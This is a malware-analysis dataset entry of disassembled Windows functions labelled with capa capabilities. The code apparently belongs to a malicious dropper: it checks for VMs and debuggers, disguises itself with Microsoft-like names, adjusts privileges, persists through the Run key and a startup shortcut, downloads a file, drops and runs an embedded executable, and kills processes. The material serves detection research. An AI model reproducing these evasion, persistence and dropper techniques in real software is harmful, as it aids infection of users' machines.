joyce8/EMBER2024-capa huggingface dataset:
Function at 0x140004080
Capabilities:
Check mutex and terminate process on windows
Check mutex on windows
Terminate process

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push rbp
lea rbp, [rax - 0x398]
sub rsp, 0x490
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rbp + 0x380], rax
lea rcx, str.vmware.exe
call fcn.140006714
xor edi, edi
test al, al
jne 0x1400042c7
lea rcx, str.vmware_vmx.exe
call fcn.140006714
test al, al
jne 0x1400042c7
lea rcx, str.vboxservice.exe
call fcn.140006714
test al, al
jne 0x1400042c7
lea rcx, str.vboxtray.exe
call fcn.140006714
test al, al
jne 0x1400042c7
call fcn.14000539c
call qword [sym.imp.KERNEL32.dll_IsDebuggerPresent]
cmp eax, 1
jne 0x14000411a
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.1400011e8
mov esi, 0x104
lea rdx, [rbp + 0x170]
mov r8d, esi
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleFileNameW]
test eax, eax
je 0x14000414c
lea rcx, [rbp + 0x170]
call qword [sym.imp.SHLWAPI.dll_PathFindFileNameW]
mov r8, rax
jmp 0x140004153
lea r8, str.Unknown
or rbx, 0xffffffffffffffff
lea rcx, [rsp + 0x60]
mov rdx, rsi
mov r9, rbx
call fcn.14000e95c
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x60]
call fcn.14001cd68
test eax, eax
je 0x140004260
lea rcx, [rsp + 0x20]
call fcn.14000641c
cmp qword [rsp + 0x38], 8
jb 0x14000419c
mov rcx, qword [rsp + 0x20]
call fcn.14000de08
call fcn.140006080
lea rdx, str.MicrosoftEdgeUpdate
lea rcx, [rsp + 0x20]
mov r8d, 0x13
mov qword [rsp + 0x38], 7
mov qword [rsp + 0x30], rdi
mov word [rsp + 0x20], di
call fcn.1400020dc
cmp byte [0x140049110], dil
mov esi, 0xf
mov qword [rsp + 0x50], rdi
mov byte [rsp + 0x40], dil
mov qword [rsp + 0x58], rsi
lea rdx, [0x140049110]
jne 0x1400041f4
mov rbx, rdi
jmp 0x1400041fd
inc rbx
cmp byte [rdx + rbx], dil
jne 0x1400041f4
lea rcx, [rsp + 0x40]
mov r8, rbx
call fcn.140001fdc
lea rdx, [rsp + 0x20]
lea rcx, [rsp + 0x40]
call fcn.1400061f0
cmp qword [rsp + 0x58], 0x10
jb 0x14000422b
mov rcx, qword [rsp + 0x40]
call fcn.14000de08
cmp qword [rsp + 0x38], 8
mov qword [rsp + 0x58], rsi
mov qword [rsp + 0x50], rdi
mov byte [rsp + 0x40], dil
jb 0x14000424c
mov rcx, qword [rsp + 0x20]
call fcn.14000de08
call fcn.140005e74
call fcn.140001b18
test eax, eax
jne 0x140004260
call fcn.140003ec4
int3
lea rdx, str.svchost.exe
lea rcx, [rsp + 0x60]
call fcn.14001cd68
test eax, eax
jne 0x1400042be
lea r8, [0x14002a428]
lea edx, [rax + 1]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateMutexA]
mov rbx, rax
test rax, rax
je 0x1400042ae
call qword [sym.imp.KERNEL32.dll_GetLastError]
cmp eax, 0xb7
jne 0x1400042ae
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
call fcn.140007b3c
call fcn.140006c38
call fcn.140003ec4
int3
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x1400051c8
Capabilities:
Get file size
Read file via mapping

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
push r14
sub rsp, 0x30
and qword [rax - 0x18], 0
mov rbx, r8
xor r9d, r9d
mov r14, rdx
mov rsi, rcx
lea edx, [r9 + 4]
xor r8d, r8d
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov rdi, rax
test rax, rax
jne 0x14000521c
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
xor eax, eax
jmp 0x140005269
xor edx, edx
mov rcx, rsi
call qword [sym.imp.KERNEL32.dll_GetFileSize]
xor ecx, ecx
mov r8d, 0x3000
mov edx, eax
lea r9d, [rcx + 4]
mov qword [r14], rdx
call qword [sym.imp.KERNEL32.dll_VirtualAlloc]
mov rsi, rax
test rax, rax
je 0x140005218
mov r8, qword [r14]
mov rdx, rdi
mov rcx, rax
call fcn.14000d670
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rax, rsi
mov rbx, qword [rsp + 0x40]
mov rsi, qword [rsp + 0x48]
mov rdi, qword [rsp + 0x50]
add rsp, 0x30
pop r14
ret

Function at 0x140005280
Capabilities:
Terminate process

Disassembly:
mov r11, rsp
mov qword [r11 + 8], rbx
mov qword [r11 + 0x18], rsi
push rdi
sub rsp, 0x50
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rsp + 0x40], rax
xor edi, edi
or rsi, 0xffffffffffffffff
mov qword [r11 - 0x20], 7
mov qword [r11 - 0x28], rdi
mov word [rsp + 0x20], di
mov rbx, rcx
cmp word [rdx], di
jne 0x1400052c3
mov r8d, edi
jmp 0x1400052d0
mov r8, rsi
inc r8
cmp word [rdx + r8*2], di
jne 0x1400052c6
lea rcx, [rsp + 0x20]
call fcn.1400020dc
mov rax, qword [rbx]
cmp rax, qword [rbx + 8]
je 0x140005358
mov r11, qword [rsp + 0x30]
cmp qword [rax + 0x18], 8
mov r10, qword [rax + 0x10]
jb 0x1400052f8
mov rdx, qword [rax]
jmp 0x1400052fb
mov rdx, rax
cmp qword [rsp + 0x38], 8
lea r8, [rsp + 0x20]
mov r9, r10
cmovae r8, qword [rsp + 0x20]
cmp r11, r10
cmovb r9, r11
test r9, r9
jmp 0x14000532f
movzx ecx, word [rdx]
cmp word [r8], cx
jne 0x140005387
add r8, 2
add rdx, 2
dec r9
jne 0x14000531b
mov ecx, edi
movsxd rdx, ecx
cmp r11, r10
mov ecx, edi
setne cl
cmp r11, r10
cmovb ecx, esi
test rdx, rdx
cmovne ecx, edx
test ecx, ecx
je 0x140005390
add rax, 0x20
cmp rax, qword [rbx + 8]
jne 0x1400052e8
cmp qword [rsp + 0x38], 8
jb 0x14000536a
mov rcx, qword [rsp + 0x20]
call fcn.14000de08
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000d590
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x70]
add rsp, 0x50
pop rdi
ret
sbb ecx, ecx
and ecx, 0xfffffffe
inc ecx
jmp 0x140005333
mov ecx, 1
call qword [sym.imp.KERNEL32.dll_ExitProcess]
Function at 0x140005e74
Capabilities:
Get token privileges

Disassembly:
push rbx
sub rsp, 0x50
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rsp + 0x40], rax
call qword [sym.imp.KERNEL32.dll_GetCurrentProcess]
lea r8, [rsp + 0x38]
mov edx, 0x28
mov rcx, rax
call qword [sym.imp.ADVAPI32.dll_OpenProcessToken]
test eax, eax
je 0x140005f4d
mov rcx, qword [rsp + 0x38]
and dword [rsp + 0x30], 0
xor r9d, r9d
lea rax, [rsp + 0x30]
lea edx, [r9 + 3]
xor r8d, r8d
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
mov ecx, dword [rsp + 0x30]
call fcn.14000db94
mov r9d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
mov rbx, rax
lea rax, [rsp + 0x30]
mov edx, 3
mov r8, rbx
mov qword [rsp + 0x20], rax
call qword [sym.imp.ADVAPI32.dll_GetTokenInformation]
test eax, eax
je 0x140005f3a
xor ecx, ecx
cmp dword [rbx], ecx
jbe 0x140005f19
mov eax, ecx
inc ecx
inc rax
lea rax, [rax + rax*2]
or dword [rbx + rax*4], 2
cmp ecx, dword [rbx]
jb 0x140005f06
and qword [rsp + 0x28], 0
mov r9d, dword [rsp + 0x30]
mov rcx, qword [rsp + 0x38]
and qword [rsp + 0x20], 0
mov r8, rbx
xor edx, edx
call qword [sym.imp.ADVAPI32.dll_AdjustTokenPrivileges]
mov rcx, qword [rsp + 0x38]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, rbx
call fcn.14000db54
mov rcx, qword [rsp + 0x40]
xor rcx, rsp
call fcn.14000d590
add rsp, 0x50
pop rbx
ret

Function at 0x140005f60
Capabilities:
Get common file path
Get disk information

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x80]
sub rsp, 0x180
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rbp + 0x70], rax
xor eax, eax
mov rdi, rcx
xor ebx, ebx
lea rcx, [rsp + 0x60]
mov edx, 0x104
mov byte [rsp + 0x58], bl
mov dword [rsp + 0x59], eax
mov word [rsp + 0x5d], ax
mov byte [rsp + 0x5f], al
mov dword [rsp + 0x40], ebx
call qword [sym.imp.KERNEL32.dll_GetWindowsDirectoryA]
movzx ecx, byte [rsp + 0x60]
mov dword [rsp + 0x38], ebx
lea edx, [rbx + 0x43]
test eax, eax
cmove ecx, edx
mov qword [rsp + 0x30], rbx
lea r9, [rsp + 0x40]
mov byte [rsp + 0x60], cl
mov byte [rsp + 0x58], cl
lea rcx, [rsp + 0x58]
xor r8d, r8d
xor edx, edx
mov qword [rsp + 0x28], rbx
mov word [rsp + 0x59], 0x5c3a
mov byte [rsp + 0x5b], bl
mov qword [rsp + 0x20], rbx
call qword [sym.imp.KERNEL32.dll_GetVolumeInformationA]
mov eax, dword [rsp + 0x40]
mov ecx, 0x69427551
imul eax, eax, 0x14a30b
sub eax, ecx
mov dword [rsp + 0x48], eax
imul eax, eax, 0x14a30b
sub eax, ecx
imul eax, eax, 0x14a30b
sub eax, ecx
mov word [rsp + 0x4e], ax
imul eax, eax, 0x14a30b
inc rbx
sub eax, ecx
mov byte [rsp + rbx + 0x4f], al
cmp rbx, 8
jl 0x140006023
movzx r9d, word [rsp + 0x4e]
mov r8d, dword [rsp + 0x48]
mov dword [rsp + 0x40], eax
mov eax, dword [rsp + 0x52]
lea rdx, str._08lX_04lX_lu
mov rcx, rdi
mov dword [rsp + 0x20], eax
call qword [sym.imp.USER32.dll_wsprintfA]
mov rcx, qword [rbp + 0x70]
xor rcx, rsp
call fcn.14000d590
lea r11, [rsp + 0x180]
mov rbx, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
Function at 0x140006080
Capabilities:
Create directory
Get common file path

Disassembly:
push rbx
sub rsp, 0x60
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rsp + 0x58], rax
xor edx, edx
lea rcx, [rsp + 0x31]
mov byte [rsp + 0x30], 0
lea r8d, [rdx + 0x22]
call fcn.1400110a0
lea rcx, [rsp + 0x30]
call fcn.140005f60
xor r9d, r9d
lea rbx, [0x140049110]
lea edx, [r9 + 0x1a]
xor r8d, r8d
xor ecx, ecx
mov qword [rsp + 0x20], rbx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathA]
lea rdx, [0x14002a42c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
xor edx, edx
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CreateDirectoryA]
lea rdx, [0x14002a42c]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
lea rdx, [0x14002a430]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_lstrcatA]
mov rcx, qword [rsp + 0x58]
xor rcx, rsp
call fcn.14000d590
add rsp, 0x60
pop rbx
ret
Function at 0x1400061f0
Capabilities:
Create shortcut via ishelllink
Get common file path
Get startup folder

Disassembly:
mov rax, rsp
push rbp
push rsi
push rdi
lea rbp, [rax - 0x228]
sub rsp, 0x310
mov qword [rbp - 0x70], 0xfffffffffffffffe
mov qword [rax + 0x18], rbx
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rbp + 0x200], rax
mov rdi, rdx
mov rbx, rcx
xor ecx, ecx
call qword [sym.imp.ole32.dll_CoInitialize]
mov rdx, rbx
lea rcx, [rbp - 0x38]
call fcn.14000613c
nop
lea rax, [rbp - 0x10]
mov qword [rsp + 0x20], rax
xor r9d, r9d
xor r8d, r8d
lea esi, [r9 + 7]
mov edx, esi
xor ecx, ecx
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
mov qword [rsp + 0x48], rsi
xor ebx, ebx
mov qword [rsp + 0x40], rbx
mov word [rsp + 0x30], bx
cmp word [rbp - 0x10], bx
jne 0x140006275
mov r8d, ebx
jmp 0x140006287
lea rax, [rbp - 0x10]
or r8, 0xffffffffffffffff
inc r8
cmp word [rax + r8*2], bx
jne 0x14000627d
lea rdx, [rbp - 0x10]
lea rcx, [rsp + 0x30]
call fcn.1400020dc
nop
lea r8, [0x14002a438]
lea rdx, [rsp + 0x30]
lea rcx, [rsp + 0x50]
call fcn.14000b678
nop
mov r8, rdi
mov rdx, rax
lea rcx, [rsp + 0x70]
call fcn.14000b6c4
nop
lea r8, str..lnk
mov rdx, rax
lea rcx, [rbp - 0x58]
call fcn.14000b678
nop
cmp qword [rbp - 0x78], 8
jb 0x1400062e3
mov rcx, qword [rsp + 0x70]
call fcn.14000de08
mov qword [rbp - 0x78], rsi
mov qword [rbp - 0x80], rbx
mov word [rsp + 0x70], bx
cmp qword [rsp + 0x68], 8
jb 0x140006302
mov rcx, qword [rsp + 0x50]
call fcn.14000de08
mov qword [rsp + 0x68], rsi
mov qword [rsp + 0x60], rbx
mov word [rsp + 0x50], bx
cmp qword [rsp + 0x48], 8
jb 0x140006323
mov rcx, qword [rsp + 0x30]
call fcn.14000de08
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rbx
mov word [rsp + 0x30], bx
mov qword [rbp - 0x68], rbx
lea rax, [rbp - 0x68]
mov qword [rsp + 0x20], rax
lea r9, [0x14002d0c0]
mov edi, 1
mov r8d, edi
xor edx, edx
lea rcx, [0x1400245b0]
call qword [sym.imp.ole32.dll_CoCreateInstance]
test eax, eax
js 0x1400063c7
lea rdx, [rbp - 0x38]
cmp qword [rbp - 0x20], 8
cmovae rdx, qword [rbp - 0x38]
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
call qword [rax + 0xa0]
mov qword [rbp - 0x60], rbx
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
lea r8, [rbp - 0x60]
lea rdx, [0x14002cef8]
call qword [rax]
test eax, eax
js 0x1400063bd
lea rdx, [rbp - 0x58]
cmp qword [rbp - 0x40], 8
cmovae rdx, qword [rbp - 0x58]
mov rcx, qword [rbp - 0x60]
mov rax, qword [rcx]
mov r8d, edi
call qword [rax + 0x30]
mov rcx, qword [rbp - 0x60]
mov rax, qword [rcx]
call qword [rax + 0x10]
mov rcx, qword [rbp - 0x68]
mov rax, qword [rcx]
call qword [rax + 0x10]
call qword [sym.imp.ole32.dll_CoUninitialize]
nop
cmp qword [rbp - 0x40], 8
jb 0x1400063de
mov rcx, qword [rbp - 0x58]
call fcn.14000de08
mov qword [rbp - 0x40], rsi
mov qword [rbp - 0x48], rbx
mov word [rbp - 0x58], bx
cmp qword [rbp - 0x20], 8
jb 0x1400063fa
mov rcx, qword [rbp - 0x38]
call fcn.14000de08
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.14000d590
mov rbx, qword [rsp + 0x340]
add rsp, 0x310
pop rdi
pop rsi
pop rbp
ret
Function at 0x140006714
Capabilities:
Enumerate processes

Disassembly:
mov qword [rsp + 0x10], rbx
mov qword [rsp + 0x18], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140006753
xor al, al
jmp 0x1400067a3
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
xor ebx, ebx
test eax, eax
je 0x140006798
jmp 0x140006782
lea rcx, [rsp + 0x4c]
mov rdx, rsi
call fcn.14000e7e8
test eax, eax
je 0x140006796
lea rdx, [rsp + 0x20]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006771
jmp 0x140006798
mov bl, 1
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov al, bl
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14000d590
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rsp, r11
pop rdi
ret

Function at 0x1400067c8
Capabilities:
Persist via run registry key
Set registry value

Disassembly:
mov r11, rsp
mov qword [r11 + 0x18], rbx
mov qword [r11 + 0x20], rsi
push rdi
sub rsp, 0x40
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rsp + 0x38], rax
mov rdi, rdx
lea rax, [r11 - 0x18]
mov rbx, rcx
lea rdx, str.SoftwareMicrosoftWindowsCurrentVersionRun
mov r9d, 2
xor r8d, r8d
mov rcx, 0xffffffff80000001
mov qword [r11 - 0x28], rax
call qword [sym.imp.ADVAPI32.dll_RegOpenKeyExW]
xor esi, esi
test eax, eax
jne 0x140006865
or rax, 0xffffffffffffffff
inc rax
cmp word [rbx + rax*2], si
jne 0x14000681c
mov rcx, qword [rsp + 0x30]
lea eax, [rax*2 + 2]
mov r9d, 1
mov dword [rsp + 0x28], eax
xor r8d, r8d
mov rdx, rdi
mov qword [rsp + 0x20], rbx
call qword [sym.imp.ADVAPI32.dll_RegSetValueExW]
mov rcx, qword [rsp + 0x30]
test eax, eax
jne 0x14000685f
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
mov al, 1
jmp 0x140006867
call qword [sym.imp.ADVAPI32.dll_RegCloseKey]
xor al, al
mov rcx, qword [rsp + 0x38]
xor rcx, rsp
call fcn.14000d590
mov rbx, qword [rsp + 0x60]
mov rsi, qword [rsp + 0x68]
add rsp, 0x40
pop rdi
ret
Function at 0x140006c38
Capabilities:
Create http request
Get common file path

Disassembly:
sub rsp, 0x468
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rsp + 0x450], rax
lea rdx, [rsp + 0x30]
mov ecx, 0x104
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
test eax, eax
jne 0x140006c6c
mov eax, 1
jmp 0x140006ceb
lea r8, str.SystemUpdate.exe
lea rcx, [rsp + 0x30]
mov edx, 0x104
call fcn.1400104ec
and dword [rsp + 0x20], 0
xor r9d, r9d
lea edx, [r9 + 1]
lea rcx, [0x140029b70]
xor r8d, r8d
call qword [sym.imp.WININET.dll_InternetOpenW]
test rax, rax
je 0x140006ce9
lea rcx, [rsp + 0x30]
mov rdx, rax
call fcn.140002bec
test al, al
je 0x140006ce9
xor r9d, r9d
lea rax, [rsp + 0x240]
xor r8d, r8d
lea edx, [r9 + 0x1a]
xor ecx, ecx
mov qword [rsp + 0x20], rax
call qword [sym.imp.SHELL32.dll_SHGetFolderPathW]
test eax, eax
jne 0x140006ce9
lea rdx, [rsp + 0x240]
lea rcx, [rsp + 0x30]
call fcn.140006884
xor eax, eax
mov rcx, qword [rsp + 0x450]
xor rcx, rsp
call fcn.14000d590
add rsp, 0x468
ret

Function at 0x140006d04
Capabilities:
Enumerate processes

Disassembly:
mov rax, rsp
mov qword [rax + 8], rbx
mov qword [rax + 0x10], rsi
mov qword [rax + 0x18], rdi
mov qword [rax + 0x20], r14
push rbp
lea rbp, [rax - 0x1a8]
sub rsp, 0x2a0
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rbp + 0x198], rax
mov r14, rcx
xor esi, esi
xor edx, edx
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140006d57
xor eax, eax
jmp 0x140006e42
or eax, 0xffffffff
lea rdx, [rsp + 0x30]
mov rcx, rbx
mov dword [rsp + 0x30], 0x238
mov dword [rbp + 0x170], eax
mov dword [rbp + 0x174], eax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x140006e2f
lea rax, [rsp + 0x5c]
mov rdx, r14
sub rdx, rax
movzx ecx, word [rax]
movzx r8d, word [rax + rdx]
sub ecx, r8d
jne 0x140006da2
add rax, 2
test r8d, r8d
jne 0x140006d8c
test ecx, ecx
jne 0x140006e21
mov r8d, dword [rsp + 0x38]
xor edx, edx
mov ecx, 0x400
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140006e21
lea rax, [rbp + 0x180]
lea r9, [rbp + 0x190]
lea r8, [rbp + 0x188]
lea rdx, [rbp + 0x178]
mov rcx, rdi
mov qword [rsp + 0x20], rax
call qword [sym.imp.KERNEL32.dll_GetProcessTimes]
test eax, eax
je 0x140006e18
lea rdx, [rbp + 0x170]
lea rcx, [rbp + 0x178]
call qword [sym.imp.KERNEL32.dll_CompareFileTime]
test eax, eax
jns 0x140006e18
mov rax, qword [rbp + 0x178]
mov esi, dword [rsp + 0x38]
mov qword [rbp + 0x170], rax
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x30]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006d81
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov eax, esi
mov rcx, qword [rbp + 0x198]
xor rcx, rsp
call fcn.14000d590
lea r11, [rsp + 0x2a0]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov r14, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret
Function at 0x140006ef8
Capabilities:
Enumerate processes
Terminate process

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
push rdi
sub rsp, 0x270
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rsp + 0x260], rax
xor edx, edx
mov rsi, rcx
lea ecx, [rdx + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140006fbb
lea rdx, [rsp + 0x20]
mov rcx, rax
mov dword [rsp + 0x20], 0x238
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
jmp 0x140006fae
lea rax, [rsp + 0x4c]
mov rdx, rsi
sub rdx, rax
movzx ecx, word [rax]
movzx r8d, word [rax + rdx]
sub ecx, r8d
jne 0x140006f70
add rax, 2
test r8d, r8d
jne 0x140006f5a
test ecx, ecx
jne 0x140006fa0
mov r8d, dword [rsp + 0x28]
xor edx, edx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140006fa0
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
mov rcx, rdi
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rdx, [rsp + 0x20]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140006f4f
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x260]
xor rcx, rsp
call fcn.14000d590
lea r11, [rsp + 0x270]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rsp, r11
pop rdi
ret
Function at 0x1400072e0
Capabilities:
Get common file path

Disassembly:
mov rax, rsp
push rdi
sub rsp, 0x260
mov qword [rsp + 0x28], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rsp + 0x250], rax
mov rdi, rcx
mov qword [rsp + 0x30], rcx
xor ebx, ebx
mov dword [rsp + 0x20], ebx
mov edx, 0x104
lea rcx, [rsp + 0x40]
call qword [sym.imp.KERNEL32.dll_GetSystemDirectoryW]
mov qword [rdi + 0x18], 7
mov qword [rdi + 0x10], rbx
mov word [rdi], bx
cmp word [rsp + 0x40], bx
je 0x140007353
lea rcx, [rsp + 0x40]
or rax, 0xffffffffffffffff
inc rax
cmp word [rcx + rax*2], bx
jne 0x140007347
mov rbx, rax
mov r8, rbx
lea rdx, [rsp + 0x40]
mov rcx, rdi
call fcn.1400020dc
mov dword [rsp + 0x20], 1
lea rdx, str.driversetchosts
mov rcx, rdi
call fcn.140001dfc
mov rax, rdi
mov rcx, qword [rsp + 0x250]
xor rcx, rsp
call fcn.14000d590
mov rbx, qword [rsp + 0x278]
add rsp, 0x260
pop rdi
ret
Function at 0x140009148
Capabilities:
Create process on windows
Delete file
Get common file path
Write and execute a file
Write file on windows

Disassembly:
mov rax, rsp
push rbp
lea rbp, [rax - 0x238]
sub rsp, 0x330
mov qword [rsp + 0x50], 0xfffffffffffffffe
mov qword [rax + 0x10], rbx
mov qword [rax + 0x18], rsi
mov qword [rax + 0x20], rdi
mov rax, qword [0x1400336c0]
xor rax, rsp
mov qword [rbp + 0x220], rax
mov rdi, rcx
lea rdx, [0x140049280]
mov ebx, 0x104
mov ecx, ebx
call qword [sym.imp.KERNEL32.dll_GetTempPathW]
lea r9, [rbp + 0x10]
xor r8d, r8d
lea rdx, str.temp_
lea rcx, [0x140049280]
call qword [sym.imp.KERNEL32.dll_GetTempFileNameW]
lea r8, str..exe
mov edx, ebx
lea rcx, [rbp + 0x10]
call fcn.1400104ec
xor esi, esi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
xor r9d, r9d
xor r8d, r8d
mov edx, 0x40000000
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_CreateFileW]
mov rbx, rax
cmp rax, 0xffffffffffffffff
jne 0x140009200
xor al, al
jmp 0x140009340
mov qword [rsp + 0x20], rsi
lea r9, [rbp - 0x70]
mov r8d, 0x12800
lea rdx, [0x140034e10]
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_WriteFile]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov qword [rbp - 0x78], 7
mov qword [rbp - 0x80], rsi
mov word [rsp + 0x70], si
mov ebx, 1
mov r8d, ebx
lea rdx, [0x14002cebc]
lea rcx, [rsp + 0x70]
call fcn.1400020dc
nop
lea rdx, [rbp + 0x10]
lea rcx, [rsp + 0x70]
call fcn.140001dfc
lea rdx, [0x14002cec0]
lea rcx, [rsp + 0x70]
call fcn.140001dfc
or r9, 0xffffffffffffffff
xor r8d, r8d
mov rdx, rdi
lea rcx, [rsp + 0x70]
call fcn.140002320
lea edi, [rbx + 0x67]
mov r8d, edi
xor edx, edx
lea rcx, [rbp - 0x60]
call fcn.1400110a0
mov dword [rbp - 0x60], edi
xor eax, eax
mov qword [rsp + 0x58], rax
mov qword [rsp + 0x60], rax
mov qword [rsp + 0x68], rax
lea rdx, [rsp + 0x70]
cmp qword [rbp - 0x78], 8
cmovae rdx, qword [rsp + 0x70]
lea rax, [rsp + 0x58]
mov qword [rsp + 0x48], rax
lea rax, [rbp - 0x60]
mov qword [rsp + 0x40], rax
mov qword [rsp + 0x38], rsi
mov qword [rsp + 0x30], rsi
mov dword [rsp + 0x28], esi
mov dword [rsp + 0x20], esi
xor r9d, r9d
xor r8d, r8d
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_CreateProcessW]
test eax, eax
je 0x14000932a
or edx, 0xffffffff
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_WaitForSingleObject]
mov rcx, qword [rsp + 0x58]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
mov rcx, qword [rsp + 0x60]
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, [rbp + 0x10]
call qword [sym.imp.KERNEL32.dll_DeleteFileW]
test eax, eax
jne 0x14000932d
call qword [sym.imp.KERNEL32.dll_GetLastError]
mov bl, sil
cmp qword [rbp - 0x78], 8
jb 0x14000933e
mov rcx, qword [rsp + 0x70]
call fcn.14000de08
mov al, bl
mov rcx, qword [rbp + 0x220]
xor rcx, rsp
call fcn.14000d590
lea r11, [rsp + 0x330]
mov rbx, qword [r11 + 0x18]
mov rsi, qword [r11 + 0x20]
mov rdi, qword [r11 + 0x28]
mov rsp, r11
pop rbp
ret